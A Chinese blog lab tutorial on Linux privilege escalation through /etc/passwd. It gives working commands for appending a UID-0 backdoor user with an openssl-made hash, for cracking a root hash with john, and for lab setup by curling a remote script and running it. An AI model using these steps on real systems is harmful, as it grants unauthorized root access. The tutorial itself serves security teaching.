2024全网最全面及最新且最为详细的网络安全技巧 (3-2) 之 linux提权各类技巧 上集
欢迎各位彦祖与热巴畅游本人专栏与博客
你的三连是我最大的动力
以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]
专栏跑道一
➡️网络空间安全——全栈前沿技术持续深入学习
专栏跑道二
➡️ 24 Network Security -LJS
专栏跑道三
➡️ MYSQL REDIS Advance operation
专栏跑道四
➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]
专栏跑道五
➡️RHCE-LJS[Linux高端骚操作实战篇]
专栏跑道六
➡️数据结构与算法[考研+实际工作应用+C程序设计]
专栏跑道七
➡️RHCSA-LJS[Linux初级及进阶骚技能]
上节回顾
3.3 Linux 提权之 passwd 文件提权
实验介绍
/etc/passwd
和 /etc/shadow
文件是 Linux 系统登录认证的关键文件
如果系统运维人员对 passwd
或 shadow
文件的内容或权限配置有误,则可以被利用来进行系统提权
理解 /etc/passwd 文件含义
- Linux 密码信息保存在两个文件中,分别为:/etc/passwd 和 /etc/shadow;/etc/passwd 文件用于保存用户信息,每一行代表一个用户,每一行通过冒号 : 分为七个部分:
- 用户名
- 密码,若为 x 则表示密码保存在/etc/shadow
- UID,0 代表 root
-
GID,表示所在组
- 描述信息,依次为 Full Name、Room Number、Work Phone、Home Phone 和 Other
- 用户主目录
- 默认 shell 类型
例如,假设 /etc/passwd
文件中其中一行信息如下:
-
其含义解读如下:
-
用户名:test-user
-
密码保存在 /etc/shadow 中
-
UID 为 1001
-
GID 为 1001
-
描述信息: Full Name [test]: Room Number [11111]: Work Phone [111111-11]: Home Phone [222222-22]: Other [test]
-
用户主目录为 /home/test-user
-
默认 shell 为 /bin/bash
简单来说,当你登录 Linux 系统时会有以下几个步骤:
- 检测「输入的用户名」是否与 /etc/passwd 文件中某一行第一个字段匹配。
- 若匹配成功,再对比该行第二个字段的密码,如果均匹配成功即登录成功。
- 登录成功之后所具有的权限,通过第三个字段 UID 和第四个字段 GID 确定。
- 其中 UID=0 代表 root 用户,也就是说——无论第一个字段代表的用户名是什么,只要 UID=0,则该账户就拥有 root 权限。——这点在提权中非常重要。
- 由此可见,/etc/passwd 文件在 linux 登录认证过程中起到非常关键的作用。
- 试想,如果我们能够对 /etc/passwd 文件内容进行伪造、篡改,那就能很轻易的登录成功并获取任意用户权限。
- 不过一般情况下,只有 root 用户拥有对 /etc/passwd 文件的写入权限,其他用户均只有读取权限。但有时候由于系统管理员的错误配置,也会给我们带来可乘之机。
-
通过 /etc/passwd 文件提权
-
通常来说,通过
/etc/passwd
提权的方法有两种:
-
如果具有
/etc/passwd
的 w (写入) 权限,可以直接添加一个 root 权限的用户 -
如果
/etc/passwd
中存储 root 用户密码哈希,可以使用 john 进行破解
场景一:/etc/passwd 具有写权限
-
简单介绍:
/etc/passwd
权限配置错误,造成普通用户具有写权限。 -
-
初始化实验环境
打开终端并执行如下命令:
curl https://labfile.oss.aliyuncs.com/courses/2650/init3.sh > ~/init3.sh;chmod +x ~/init3.sh;./init3.sh
-
输出如上图所示,说明环境部署成功。
-
此时我们已经切换到
tomcat-syl
用户——模拟渗透测试前期获取到的初始 shell。
开始实验
-
使用
whomai
查看当前用户: - 使用
id
查看用户组 id
信息: -
通过上图中的信息可以看到,当前用户组为普通用户组
tomcat-syl
,也没有明显可进一步利用的信息。 -
接下来使用如下命令查看
/etc/passwd
和/etc/shadow
文件的权限:ls -alh /etc/passwd /etc/shadow
-
结果如上图所示,可以发现由于运维人员的错误配置,导致「其他用户」对
/etc/passwd
文件具有“ 写 ”
权限。 -
于是接下来的利用思路就是:
-
“自己构造一行用户数据添加到 passwd 文件中,用户名和密码自定义,并且将
UID
设置为0
,此时我们登陆就可以获取 root 权限。” -
使用如下命令查看 passwd 文件中 root 用户数据的格式,以此为参考来构造我们的用户数据:
cat /etc/passwd|grep root
- 得到的结果是:
root:x:0:0:root:/root:/bin/bash
-
第一步-先设置用户名:
将用户名从 root 修改为其他任意用户名即可,例如 syl-passwd:
syl-passwd:x:0:0:root:/root:/bin/bash
第二步-设置密码:
-
之前讲到过,第二个字段 x 表示该用户密码存放在 /etc/shadow 文件中,如果密码不用存在 /etc/shadow 中,可以直接将 x 替换为 「密码」 即可。
-
但需要注意的是,这里的「密码」 并不是指明文密码,而是经过 hash 算法加密之后的密文字符串
-
那如何计算 hash 字符串呢?我们可以使用 openssl套件。
-
使用 openssl创建一个密码为 pass123 的 linux hash,命令如下:
openssl passwd -1 -salt ignite pass123
- 参数解释:
-
-1 :使用 MD5 hash 算法
-
-salt :对 hash 算法加 "盐"
- 计算得到的 hash 为
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1
,用它来替换 x,最终我们构造出的 passwd 用户数据如下:syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
- 接下来将它添加到 passwd 文件中:
echo 'syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /etc/passwd
- 注意:
-
必须使用单引号,不能使用双引号
-
使用
>>
,而不是>
-
使用如下命令确认我们添加成功:
cat /etc/passwd|grep syl-passwd
确认添加成功后,接下来我们使用 su syl-passwd
切换到 syl-passwd 用户,密码为 pass123:
curl https://labfile.oss.aliyuncs.com/courses/2650/init3-2.sh > ~/init3-2.sh;chmod +x ~/init3-2.sh;~/init3-2.sh
场景二:/etc/passwd 存储用户密码 hash
- 简单介绍:
/etc/passwd
中存储密码 hash,而不是存储在/etc/shadow
中。
初始化实验环境
执行如下命令下载附件并初始化实验环境:
- 输出如上图所示,说明环境部署成功。
开始实验
和之前一样,使用如下命令查看 /etc/passwd
和 /etc/shadow
文件的权限:
ls -alh /etc/passwd /etc/shadow
-
但是发现权限配置都是正确的,普通用户只具有
/etc/passwd
文件的读权限。 -
接下来查看
/etc/passwd
文件的内容:cat /etc/passwd
发现存在这样一行内容:
root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash
- 这种情况一般是由于该主机曾经被入侵过,或者运维人员的错误配置造成的,这样我们就获得了 root 用户的密码 hash,但是如何利用呢?
- 这就要使用到 hash 破解神器——john,该工具在 Kali 上是默认安装的,但在 ubuntu 上需要自己安装。
打开一个新终端,输入如下命令进行安装:
sudo apt install john
-
john 会调用指定字典对 hash 字符串进行破解,破解时间取决于字典大小和计算机性能。
-
john 支持使用内置字典,也可以指定自定义字典,本课程中我们使用 john 自带字典完成破解。
-
先将之前获取到的 root 用户 hash 写入文件 hash.txt 中:
# 此处必须单引号 echo 'root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash' > ~/hash.txt
-
john ~/hash.txt
- 如上图所示,john 成功破解出密码为 hello。(由于此实验中密码比较简单,故 john 破解速度非常快,实际环境中由于密码复杂度可能更高,破解时间会更长。)
- 我们再回到 tomcat-syl 用户 shell 中,使用 su 命令切换到 root 用户(输入密码时,不会有显示):
-
至此,我们成功提权到 root 用户。
注意:
john 工具对于同一个破解文件中的同一条 hash 记录只会爆破一次,如果第二次执行 john ~/hash.txt
是不会得到结果的,只会得到如下输出:
如果想查看上一次爆破的结果,需要使用 --show
参数:
实验总结
本节实验中,我们学习了 Linux 系统登录认证的过程,/etc/passwd
文件的意义,并通过做实验的方式对 Linux 系统 passwd 文件提权方法有了深入的理解。
课后思考题
将构造的数据添加到 passwd 中时使用的命令如下:
echo 'syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /etc/passwd
-
为什么必须使用单引号,不能使用双引号,使用双引号时会造成什么错误呢?
答案3.2 Linux 提权之 CronJobs 提权之课后思考题
echo 'syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /etc/passwd
该命令为什么必须使用单引号,不能使用双引号,使用双引号时会造成什么错误呢?
- 在这个命令中,使用单引号而不是双引号是为了确保 shell 不会解释或扩展引号内的任何特殊字符或变量。如果使用双引号,shell 会尝试对字符串进行变量扩展和特殊字符解释,这可能会导致一些问题,特别是在字符串中包含特殊字符或变量时。
- 具体来说,如果在双引号中使用 `$` 符号,shell 会尝试将其后面的字符解释为变量名,并尝试进行变量扩展。如果字符串中存在与现有变量名相匹配的内容,那么 shell 将会替换这些内容为对应的变量值,而不是将其作为纯字符串处理。
- 在这种情况下,由于字符串中包含 `$` 符号,且后面跟着数字,shell 可能会将其解释为一个变量名,尝试进行变量扩展,导致意外的行为或错误。因此,为了避免这种情况,使用单引号可以确保字符串中的内容被视为纯文本,而不进行任何解释或扩展。
- 点赞
- 收藏
- 关注作者
评论(0)